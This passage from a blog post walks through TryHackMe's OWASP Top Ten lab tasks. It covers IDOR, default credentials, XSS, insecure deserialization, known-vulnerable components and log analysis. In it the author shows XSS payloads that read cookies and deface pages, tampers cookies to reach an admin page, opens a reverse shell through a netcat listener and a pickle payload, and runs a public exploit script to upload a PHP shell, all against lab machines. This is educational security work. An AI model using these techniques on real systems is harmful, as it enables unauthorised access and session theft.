I started to go through the task questions in order. I opened my browser on my Attackbox and entered the machine IP address, 10.10.7.255 in my case, in the search bar.</p><p>After being directed to the login page, I proceeded to log in with the user <strong>noot </strong>and entered <strong>test1234 </strong>for the password and clicked submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*UIjPl6WQzF5A51CvwewDOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*t1_syeqO0PwxLKWfnR5GUQ.png" /></figure><p>Once logged in as <strong>noot</strong>, I was redirected to the address below,</p><blockquote>http://10.10.7.255/note.php?<strong>note=1</strong></blockquote><p>I proceeded to change <strong><em>note </em></strong>parameter value within the URL address from 1 to any different values to see if I get redirected to another user’s note or in this case, the flag for this task challenge.</p><p>I proceeded to test some numbers that could be a possible value for the note parameter value to get indirect access to a resource. I tried numbers 2–4 for the note parameter, no luck. I attempted to use a parameter value less than the original note parameter I got when I logged in as <strong>noot </strong>and was able to see the flag needed complete the challenge for this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*mD9fLqD5nbCqFf68vqWqPg.png" /></figure><h3>Task 19 [Severity 6] Security Misconfiguration</h3><p>Task 19 focuses on the sixth web security vulnerability that can occur when security could have been configured but was not that can lead to more vulnerabilities as a result and examples of security misconfiguration.</p><p>For this task, the focus will be on the specific example of a security misconfiguration of Default accounts with unchanged default passwords. The takeaway I got is that default passwords are a risk that can be mitigated by ensuring to change any default passwords; There can be and have been instances when owners don’t change these passwords.</p><p>For this task , I deployed the VM running an application with a default password vulnerability attached to task 19 as screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*bKJS3epWjfpaFOf0ZmP7rw.png" /></figure><p>I proceeded to work to complete the challenge by hacking the VM and finding the flag using what I have learned.</p><p>This challenge will prove to be one of the more challenging for this TryHackMe room.</p><p>The hint for this room is</p><blockquote>Can you find the app’s source code? Maybe the documentation gives you default credentials that you can try.</blockquote><p>What got me was how I interpreted the question when I read it a couple times. I initially understood it to mean to look for vulnerable page endpoints and looking at the HTML source markup and JS code while the app is launched in the VM, but this would not get me anywhere or get me to the flag.</p><p>What the hint meant, as I would figure out, was to do some OSINT work (e.g. Googling the app name) to look for the Pensive Notes web app online source code repository to find corresponding documentation, usually in the form of a README.md, that may contain default credentials. I found the source code repository of the PensiveNotes application on GitHub. Within the repo page and the README.md file, I found the default credentials to proceed with the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*6PcpnMcFPBDBdFRcp8GmZg.png" /></figure><p>I switched back to the app running on the VM and proceeded to enter the credentials I found and proceeded to log in successfully. I was greeted with a page that took me to a list of notes of the default credentials user and retrieved the flag to complete this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*T1cdBuDqfiS6NMSLG6mPOg.png" /></figure><h3>Task 20 [Severity 7] Cross-site Scripting</h3><p>This task gives an overview of Cross-Site Scripting (or XSS) vulnerabilities are and how they can occur.</p><p>There are three main types of cross-site scripting:</p><ol><li>Stored XSS</li><li>Reflected XSS</li><li>DOM-Based XSS</li></ol><p>It also gives an example of XSS payloads that can be used to execute malicious JavaScript on a victim’s machine. a website, <a href="http://www.xss-payloads.com/">XSS-Payloads.com</a>, is referenced that provides payloads and more, but didn’t respond. I proceeded to find another resource to help me out which was the <a href="https://github.com/payloadbox/xss-payload-list">xss-payload-lis</a>t repository I found on GitHub to find some example payloads.</p><p>I proceeded to launch the VM configured with XSS vulnerabilities needed for this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Ulwlx1DiukAuAdp9tTgog.png" /></figure><p>After the VM was deployed, I got started with working on attempting to exploit each type of XSS vulnerability on the deployed VM in the following order: <strong>Reflected</strong>, <strong>Stored</strong>, <strong>DOM-Based</strong></p><p>I navigated to the IP Address via my web browser on my AttackBox VM.</p><p>Once I loaded the home page of the demo app running on the deployed VM, I went to the <strong>Reflected XSS</strong> tab within the navbar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wa0xkX3WRmZHW1jYHswekg.png" /></figure><p>Once at the Reflected XSS page, I read through the two questions to answer and the dropdown sections on why this works. The payloads will be sent through the search text field</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWTCv2Rt3wsjwEHkjRScJQ.png" /></figure><p>I crafted the XSS payload that will cause a popup saying “Hello”, it just involves a script html tag holding a alert function call with Hello passed as the input. I then clicked the search button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kb7-iaz6InVnxXvZXNUkBA.png" /></figure><p>I then get a popup with the answer to one of the questions for the XSS task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3tKbuv2t2PbDFlm2iCA7g.png" /></figure><p>I proceeded to work on the next question which was to create a reflected XSS payload that will cause a popup and display your VM’s IP address.</p><p>I began to do research on what JavaScript object I would need to invoke to display the information of the active machine’s IP Address.</p><p>I found that within JavaScript there is an object known as <em>window.location </em>and with it we will can add JavaScript property prefix <em>hostname </em>as seen below,</p><p><em>window.location.hostname</em></p><p>This allowed me output the name of the internet host of the current page this object is called on.</p><p>I crafted the following payload and clicked the Search button</p><blockquote>&lt;script&gt;alert(window.location.hostname)&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ed8Nrp3S8N4kMio-3IoRDw.png" /></figure><p>I got two popups, one showing the IP Address and hostname of the VM that I submitted the XSS payload from and another with the answer to the question needed for the second task question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJ4oxpwBxNBG49pC4muFcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yFnmCXi5vronh7LQdmDFQ.png" /></figure><p>Afterwards, I proceeded to navigate to the <strong>Stored XSS</strong> tab on the navbar and make a account as part answering the next questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yDZQmh1kO0bH9VsCLlH8Cg.png" /></figure><p>I proceeded to use some dummy credentials to register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dthO7iXV4h-ugnbeflODA.png" /></figure><p>Now that I am logged in, I proceeded to go back to the Stored XSS page to start answering the following three questions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WEqSX8mJoKwtY6JWaDh1w.png" /></figure><p>For question 1, I found some example HTML snippet for a button on the W3Schools site to add and submit as a comment.</p><blockquote>&lt;button type=”button” onclick=”alert(‘Congratulations, you won a free Yacht!’)”&gt;Click Me!&lt;/button&gt;&lt;button type=”button” onclick=”+s, you won a free Yacht!’)”&gt;Click Me!&lt;/button&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PoTTmhqjsbkmXTqGKpwbZg.png" /></figure><p>After I clicked the comment to submit it, I found that my comment HTML for my button was stored and displayed along with the answer to the first question to submit as part of the task completion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1aKDC0UTNlhPXD0ZYXOHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*En6n7Fc1V_kQmRIftNXyeA.png" /></figure><p>The next task and question to answer was to craft a payload to make an alert popup box appear on the page with my logged in user’s document cookies.</p><p>I did some research to find the JavaScript object I will need to include in my payload to display the document cookie from our webpage session. I found that the object I need use with my alert function is <em>document.cookie. </em>It is part of the DOM Web APIs that is typically used with JavaScript.</p><blockquote>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hc5iUKehywZXPBy2Aa5tTw.png" /></figure><p>I got the following output as a alert box popup below that shows the cookie from my current web page. Afterwards, another popup appeared to show the answer flag I needed to answer the second question of the Stored XSS section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzITUrBlsy0aEVPMf2h98w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tN_TgHFqMQVyTx-i5l-I6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4B4ZkN4lj9-pmSpZuJfS9w.png" /></figure><p>I proceeded to work on the third question which was to craft a XSS payload to change the title of XSS Playground in the navbar to “I am a hacker” by adding a comment in the form of a payload that will allow us to carry this out.</p><p>I proceeded to look at for documentation on what methods, specifically HTML DOM methods, I can use to let me perform actions on a specific HTML element to change.</p><p>One choice is to specify the id of a specific HTML element to access it within the HTML document object, which is document, is by appending the method getElementById(“the_id_of_element)” and appending the innerHTML property to this method which can be used to get or replace the content of the HTML elements.</p><p>To do this, I needed to figure out the element id of the title so that we can access it when we add our XSS payload as a comment on the page. I right clicked directly on the XSS Playground title on the page and selected <strong>Inspect</strong> to open my web browser’s developer tools and check the HTML markup source for the title element to get this info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgHdyyni_JTjHzG_6CfL1A.png" /></figure><p>Within the inspector tab of Developer tools, I was able to see what type of HTML element for the title is and the id associated with it. I had the info I needed to start crafting my payload.</p><blockquote>&lt;span id=”thm-title”&gt;XSS Playground&lt;/span&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mStVnP_3K4m1Htc4WK_MfQ.png" /></figure><p>Below is the crafted payload I used,</p><p><em>&lt;script&gt;<br>document.getElementById(“thm-title”).innerHTML = “I am a hacker”;<br>&lt;/script&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_G2_qs8W8aJcWiW6QbgNA.png" /></figure><p>After I submitted commit with the above payload, I got a message saying the comment was submitted successfully and I was able to see the element that used to display XSS Playground now displays the value of our I am a hacker message as well as the answer flag needed to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8w0TuLm8xKub2chOxILv7Q.png" /></figure><p>This wraps up the hands on section and my walkthrough for Task 20 and cross-site scripting.</p><h3>Task 20 References</h3><p><a href="https://www.w3schools.com/js/js_popup.asp">JavaScript Popup Boxes (w3schools.com)</a></p><p><a href="https://www.w3schools.com/js/js_window_location.asp">JavaScript Window Location (w3schools.com)</a></p><p><a href="https://www.w3schools.com/js/js_htmldom_document.asphttps://www.w3schools.com/js/js_htmldom_document.asp">JavaScript HTML DOM Document (w3schools.com)</a></p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document">Document - Web APIs | MDN</a></li><li><a href="https://www.w3schools.com/js/js_htmldom_methods.asp">W3Schools.com</a></li></ul><h3>[Severity 8] Insecure Deserialization</h3><h3>Task 21 : [Severity 8] Insecure Deserialization</h3><p>This task gives up an introduction to what insecure deserialization is.</p><p>It is described as the following:</p><blockquote>…<strong>replacing data processed by an application with malicious code</strong>; allowing anything from DoS (Denial of Service) to RCE (Remote Code Execution) that the attacker can use to gain a foothold in a pentesting scenario.</blockquote><p>This vulnerability takes advantage of the serialization and deserialization process used by web applications and important concepts in programming.</p><p>In a simple high level explanation, serialization and deserialization allow objects, which are used by an app to store specific information (e.g. a user object with a username and password hash field) to be easily stored, transmitted, and reconstructed over different formats. An example scenario can be storing the objects and the information they contain in a database.</p><p>Apps that store or fetch data are vulnerable to this risk when there are no validations or integrity checks in place for the data retrieved or stored.</p><p><strong>Some examples of applications</strong></p><ul><li>E-Commerce Sites</li><li>Forums</li><li>API’s</li><li>Application Runtimes (Tomcat, Jenkins, Jboss, etc)</li></ul><p>I proceeded to start the VM needed for the practicals on upcoming tasks for this vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsTswPeqEFa7JS1pSTALng.png" /></figure><p>Next, I answered the following task questions below,</p><h3>Task 21 Questions</h3><p>Who developed the Tomcat application?</p><blockquote>The Apache Software Foundation</blockquote><p>What type of attack that crashes services can be performed with insecure deserialization?</p><blockquote>Denial of Service</blockquote><p><strong>Task 21 Reference</strong></p><p><a href="https://www.baeldung.com/cs/serialization-deserialization">What Are Serialization and Deserialization in Programming? | Baeldung on Computer Science</a></p><p><a href="https://www.infoworld.com/article/3510460/what-is-apache-tomcat-the-original-java-servlet-container.html">What is Tomcat? The original Java servlet container | InfoWorld</a></p><h3>Task 22 [Severity 8] Insecure Deserialization — Objects</h3><p>Task 22 gives a brief overview of how what an object is in object-oriented programming (OOP) and how they are composed of a state and behavior.</p><p>This is a very short task with one question to answer. I was familiar with this question based on my previous background and exposure to OOP as a full stack web developer that worked with Java and JavaScript.</p><h3>Task 22 Question</h3><p>Select the correct term of the following statement:</p><p><em>if a dog was sleeping, would this be:</em></p><p>A) A State<br>B) A Behaviour</p><blockquote>A Behaviour</blockquote><h3>Task 23 [Severity 8] Insecure Deserialization — Deserialization</h3><p>Task 23 is a short continuation of insecure deserialization with analogy examples of how serialization and deserialization works and a brief definition of the two terms.</p><p>Serialization is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.</p><p>Alternatively, deserialization is the reverse of this; converting serialized information into their complex form — an object that the application will understand.</p><p>we are given an example with how a password created for a newly registered user from a web app program needs to be stored in a database on another system as described below and with a provided diagram,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*_beNEj5W1cEn5fY1.png" /></figure><blockquote>a password of “password123” from a program that needs to be stored in a database on another system. To travel across a network this string/output needs to be converted to binary. Of course, the password needs to be stored as “password123” and not its binary notation. Once this reaches the database, it is converted or deserialized back into “password123” so it can be stored.</blockquote><p>The final detail of this task is how this is leveraged from a vulnerability risk perspective,</p><blockquote>Simply, insecure deserialization occurs when data from an untrusted party (I.e. a hacker) gets executed because there is no filtering or input validation; the system assumes that the data is trustworthy and will execute it no holds barred.</blockquote><p>I proceeded to answer the only question for this task to move on to the next one.</p><h3>Task 23 Question</h3><p>What is the name of the base-2 formatting that data is sent across a network as?</p><blockquote>Binary</blockquote><h3>Task 24 [Severity 8] Insecure Deserialization — Cookies</h3><p>This task talks about what website cookies are used, examples being store user-specific behaviors like items in a shopping cart or session IDs for users logged in to a certain website or app.</p><p>Because cookies store user-related information either in plaintext or encoded, this can be exploited as seen in the next task.</p><h3>Task 24 Questions</h3><p>If a cookie had the path of <em>webapp.com/login </em>, what would the URL that the user has to visit be?</p><blockquote>webapp.com/login</blockquote><p>What is the acronym for the web technology that <em>Secure</em> cookies work over?</p><blockquote>HTTPS</blockquote><h3>Task 25 [Severity 8] Insecure Deserialization — Cookies Practical</h3><p>This task will be a step through demonstration of how to exploit cookies</p><p>On my Attackbox VM, I proceeded to navigate to the following address of the VM running a app with Insecure Serialization vulnerability on my web browser, http://10.10.231.72 ,</p><p>once i got to the home page, I clicked on the Join Us tab on the nav bar to register a dummy user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojxH5i6XJxyF8qlqnsRVzg.png" /></figure><p>Once registered and on my dummy account profile page, I proceeded to check what cookies were tied to my logged in account, so I right-clicked on the page and press <strong>Inspect Element</strong> (on my browser, it says Inspect which is the same option).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjezbxzJPKQWqFH-HlKBXw.png" /></figure><p>Once the developer tools appear after clicking Inspect, I proceed to go to the Storage tab to look at the cookies, the cookies had values that were either plaintext or base64 encoded. The hint is that the first flag is within one of these cookies. Looking at the cookies, I knew i can rule out the following cookies: password, registrationTimestamp, username, and userType. The last cookie, sessionId, appeared to be base64 encoded. I proceeded to see if i can find a way to decode this value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rg6AGkZLoGcnLN756G1zJg.png" /></figure><p>I attempted to look on CyberChef for the first time to look for a tool that will let me decode by searching base64 in the Operations search tab and selected the option From Base64 to decode the ASCII Base64 string back to its raw and cleartext format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmVhld1vJhHkuJvwvha8Vw.png" /></figure><p>Once i copied and pasted my sessionId cookie value into the input. I clicked <strong>Bake </strong>and within the output I was able to see the flag needed to answer the first question fro this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTM1KN0JVAxccOAG6hUzyA.png" /></figure><p>For the next flag, we will need to get to the admin dashboard using what we learned about cookies so far. From before, I noticed a cookie named userType on my account and it is set to user.</p><p>If the application determines what we can access based on user type and with the knowledge that cookies can be modified within our browser. We will see how this will be a problem.</p><p>I went back to my Storage section under the developer tools and proceeded to double click on the userType value and modify the userType cookie to admin to attempt to access the admin dashboard section of the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srzX4nArAtiPkejz7BGiww.png" /></figure><p>Afterwards, I proceeded to navigate to http://<strong>10.10.231.72/admin </strong>, and was directed to the dashboard with my dummy account and was able to get the second and last flag for this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHO4WPv2wziM9NID1-ZY6A.png" /></figure><h3>Task 25 References</h3><p><a href="https://github.com/gchq/CyberChef">gchq/CyberChef: The Cyber Swiss Army Knife — a web app for encryption, encoding, compression and data analysis (github.com)</a></p><h3>Task 26 : [Severity 8] Insecure Deserialization — Code Execution</h3><p>In the next task, another type of exploit is going to be done on the same type of VM that the cookie decoding was done on.</p><p>I proceeded to return to the IP address of the insecure deserialization specific VM, which in my case is http://10.10.251.197/myprofile under the same dummy account I registered and this time with the userType cookie set to user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aljcw6Bt--1-UdFauOFeEA.png" /></figure><p>I right clicked on the URL in the second message that says “Exchange your vim”, once I clicked on this URL, another cookie on my browser was encoded and stored on browser under the name of encodedPayload which can be modified as once we click it.</p><p>Then I went to the provide your feedback page of the app by clicking the feedback hyperlink to get to the feedback form page.</p><p>There is a catch and assumption on what can make the form vulnerable explained below and in the following Python code snippets.</p><blockquote>If a user was to enter their feedback, the data will get encoded and sent to the Flask application (presumably for storage within a database for example). However, the application assumes that any data encoded is trustworthy. But we’re hackers. You can only trust us as far as you can fling us (and that’s nigh-on impossible online)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AlkA1HvOATvUDckS.png" /></figure><blockquote>When you visit the “Exchange your vim” URL, A cookie is encoded and stored within your browser — perfect for us to modify! Once you visit the feedback form, the value of this cookie is decoded and then deserialized. Uh oh. In the snippet below, we can see how the cookie is retrieved and then deserialized via pickle.loads</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hsFSsiMLSHFxCARr.png" /></figure><p>This vulnerability exploits Python Pickle, which is module that serializes and deserializes a Python object structure.</p><p>The code being deserialized is from a base64 format, we cannot just spawn a reverse shell without needing to encode our own commands in base64 so that the malicious code will be executed.</p><p>To get started on the exploit, I proceeded to set up a netcat listener on my Linux Attackbox with the following command:</p><blockquote>nc -lvnp 4444</blockquote><ul><li>-l Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.</li><li>-v Have nc give more verbose output.</li><li>-n Do not do any DNS or service lookups on any specified addresses, hostnames or ports.</li><li>-p source_port<br> Specifies the source port nc should use, which is port 4444.</li></ul><p>Once the listener is set up, I proceeded the copy and paste the source code from the pickleme.py file found in the task into my Sublime Text Editor and saved the file as rce.py on my Linux Attackbox so it can be modified to reflect my Attackbox IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*2gvkrB3ApioTIaP-s28JHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfuHsYRLyI_LYFfsl0U17w.png" /></figure><p>I modified the parameter YOUR_TRYHACK_VPN_IP to the IP address of my Linux Attackbox, which in my case is 10.10.32.172, where I have executed the netcat listener on port 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyOD3eSMJTgTZQHypmrOhg.png" /></figure><p>After I modified the Python file. I proceeded to run the following command below to get the command to spawn a reverse encoded into the base64 format.</p><blockquote>python3 rce.py</blockquote><p>I proceeded to copy the data between the single quotes for the next step</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gY7UDPkI5IJQ3A9YiT0v8Q.png" /></figure><p>With the encoded base64 data copied, I proceeded to paste it into the value of the encodedPayload cookie in the browser as in the screenshot below, I refreshed the feedback page after adding the output data between the two single quotes of the executing rce.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIyNmPmvve_S3iDSpBr7bA.png" /></figure><p>The website was stuck on refreshing and hanging, which is expected. I then referred back to the netcat listener I started.</p><p>I now have a remote shell to your instance with no privilege escalation involved, I began my search for the flag.txt flag,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6p-ISNgpl90z9O3VlyZ79Q.png" /></figure><p>before I proceeded to look around, I ran the pwd command to figure out the full path of where the remote shell placed me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*_MYvmQms9WEzy2fi5QcxcA.png" /></figure><p>I found out I was in the app folder of the vunlerableVM of the user cmnatic.</p><p>Seeing as I am only finding web app related files,</p><p>I then ran the command</p><p><em>cd ..</em></p><p>To go back one directory into the user’s folder <em>home/cmnatic/ </em>and ran the ls command to see what files and directories I can find, this is where I found the flag.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vC6yVW54B7KVMRyU0t_evw.png" /></figure><p>I then ran<em> cat flag.txt </em>and I was able to get the flag text withing the flag.txt file to complete this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TipMGLjiZqrCK_WOOJ7NNA.png" /></figure><h3>Task 27 [Severity 9] Components With Known Vulnerabilities — Intro</h3><p>This section gives in overview on if a program or software that a pen-tester and cybersecurity professional is looking into and is found to have a well documented and known vulnerability. The example this task talks about a version of WordPress, 4.6 to be exact is vulnerable to an unauthenticated remote code execution exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdMujyhx6UwIv7lqFfR9kw.png" /></figure><p>This section just required reading content and clicking the completed button to progress to the next continued part of this vulnerability.</p><h3>Task 28 [Severity 9] Components With Known Vulnerabilities — Exploit</h3><p>This task gives background on taking the steps to find out information on the software to find out if any known vulnerabilities exist. This task walks through an example web app that uses the default page for the Nostromo web server and provides the software name and a version number of the software.</p><p>It introduces <a href="https://www.exploit-db.com/">exploit-db</a> as a lookup tool to attempt to try and find an exploit for this version of the nostromo web server in the example scenario.</p><p>This section just requires that we read the content and click the completed button to proceed.</p><h3>Task 29 [Severity 9] Components With Known Vulnerabilities — Lab</h3><p>The following task is a interactive hands on that requires looking through a vulnerable application on a VM and looking to see what we need to exploit it.</p><p>I proceeded to run the active machine for this lab so i can interact with it with my Linux Attackbox VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBiQZdR1UsWnfqGDN_ZBww.png" /></figure><p>I proceeded to open my Firefox web browser and navigated to the the IP address given above for the vulnerable application.</p><p>The first thing I can tell is by looking at the address that the web app uses PHP with the home page URL as http://10.10.198.255/<strong>index.php</strong></p><p>another thing I took note of was that the home page said that this web site or app is made with PHP and MySQL which gave me an idea of what to look for in vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nV0Q9j9Ltjgmm7CZAtnbg.png" /></figure><p>Another thing I noticed was there is a visible link to get to the website admin login page which I made note of as well and that the PHP file for the login is <em>admin.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUHeBvjQoTG7mLlrfeuLNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWNGny_eVLUQMb6z0N1g6w.png" /></figure><p>I proceeded to go to <a href="https://www.exploit-db.com/">exploit-db</a> to see if I can find any vulnerabilities based on what I uncovered.</p><p>I began my search and entered a search query of the involved technologies, PHP, MySQL, and the CSS framework Bootstrap and the name of the file I found in my walk through of the web app.</p><p>I found two possible exploits and looked through the first choice to see if I could use it but didn’t have any luck. You might run into the same pitfall I have had with my first attempt on this challenge.</p><p>I proceeded to look at the hint that states the following assumptions.</p><blockquote>You know its a bookstore application, you should check for recent unauthenticated bookstore app rce’s.</blockquote><p>I proceeded to tweak my search below to include the terms look for the type of app (i.e. book store) and remote code execution exploit (also known as RCE)as well as occurring around the date for the 2020 OWASP 10 top ten listing.</p><blockquote>book store unauthenticated remote code execution</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ulgs_BbhmQv7zw1bVwawzg.png" /></figure><p>Looking at the exploit, I see it is a downloadable Python script, I proceeded to download it to my Linux VM.</p><p>The python file is automatically added with the file name of the Exploit DataBase ID number associated with it:</p><blockquote>47887.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWbJNl5Kv5kMQoAY-SZv2w.png" /></figure><p>I proceeded to look over the script logic and found it also takes and needs the URL of a website when we execute this script, which in our case is the vulnerable website on our VM, <em>http://10.10.198.255/</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dg45epV84odM8NcklagYrg.png" /></figure><p>I proceeded to open a terminal with my exploit script and attempted to run the following command:</p><p><em>python3 47887.py http://10.10.198.255/</em></p><p>I was able to upload the PHP shell within the img subdirectory of the bootstrap directory on the vulnerable machine’s IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W17rP1ip_EHGzPagGP6i9w.png" /></figure><p>I proceeded to run pwd to see where I was in within the shell to confirm where I was which is the full directory path <em>/var/www/html/bootstrap/img</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UjabYzi7n52vwLmKq5VjGg.png" /></figure><p>Next, I proceeded to run another command to found out how my characters are in the /etc/passwd file within the vunlerable apps server.</p><blockquote>wc -c /etc/passwd</blockquote><p>And once I ran the command I was able to get the answer to the task question to complete this task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*_ArRdcUtPSj0p-DkpUzLqw.png" /></figure><h3>Task 29 Questions</h3><p>How many characters are in<em> /etc/passwd</em> (use<em> wc -c /etc/passwd</em> to get the answer)</p><blockquote>1611</blockquote><h3>Task 30 [Severity 10] Insufficient Logging and Monitoring</h3><p>This last task covers background information and the risk of not having the sufficient amount of logging and/or monitoring in an application.</p><p>Logging is used to track the what is going on in an application, especially actions users take on that application.</p><p>The information to include (but not limited to):</p><ul><li>HTTP status codes</li><li>Time Stamps</li><li>Usernames</li><li>API endpoints/page locations</li><li>IP addresses</li></ul><p>As the monitoring in place to detect any suspicious activity to either stop an attacker or reduce the impact they made if their presence is found sooner than expected.</p><p>Common examples of suspicious activity includes (but not limited to):</p><ul><li>Multiple unauthorized attempts for a particular action (usually authentication attempts or access to unauthorized resources e.g. admin pages)</li><li>Requests from anomalous IP addresses or locations: while this can indicate that someone else is trying to access a particular user’s account, it can also have a false positive rate.</li><li>Use of automated tools: particular automated tooling can be easily identifiable e.g. using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling.</li><li>Common payloads: in web applications, it’s common for attackers to use Cross Site Scripting (XSS) payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorized/malicious testing on applications.</li></ul><p>I proceeded to download the task files needed to answer the questions on this task to put the knowledge I learned in the task overview to practice by analyzing a sample log file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebDiphWBNHTrX2tbejZWjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*-mgbMnTp6CX8OzVN_yOF8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9O5PnTDVzsWrXpFaTlkJ1Q.png" /></figure><p>Looking at the log file, within the log title and the endpoint <strong>/login</strong> where the HTTP responses are being returned; I assumed this log is for capturing the results of login attempts on a website.</p><p>I was able to tell what the IP address of the attacker was by looking at the HTTP response code columns, specifically the rows with the response code of 401 for unauthorized. The timestamp values for the 401 responses were returned back in intervals of seconds; this denotes suspicious out of the normal user activity.</p><p>For the second task question, I did some research to find a type of attack that fits what I observed with the super quick speed of requests and the unauthorized 401 response codes being returned to confirm this to be a brute force attack.</p><h3>Task 30 Questions</h3><p>What IP address is the attacker using?</p><blockquote>49.99.13.16</blockquote><p>What kind of attack is being carried out?</p><blockquote>Brute Force</blockquote><h3>Task 30 Reference</h3><p><a href="https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks#:~:text=Although%20brute-force%20attacks%20are%20difficult%20to%20stop%20completely%2C,that%20mean%20the%20attacker%20found%20a%20valid%20password.">Blocking Brute Force Attacks | OWASP Foundation</a></p><p>That concludes my writeup for the OWASP Top Ten. It was probably the among one of biggest cybersecurity challenges I have undertaken due to the amount of content covered within this room. I got to learn several things about important commands and important files within the Linux operating system.</p><p>Thank for reading (or skimming) and keep on learning,</p><p>-Chris “CJ” Fouad</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58c02af15316" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Burp Suite: The Basics TryHackMe Writeup]]></title>
            <link>https://medium.com/@cyberjab/burp-suite-the-basics-tryhackme-writeup-8cbef178f0b0?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cbef178f0b0</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 19:27:55 GMT</pubDate>
            <atom:updated>2023-03-24T02:10:44.604Z</atom:updated>
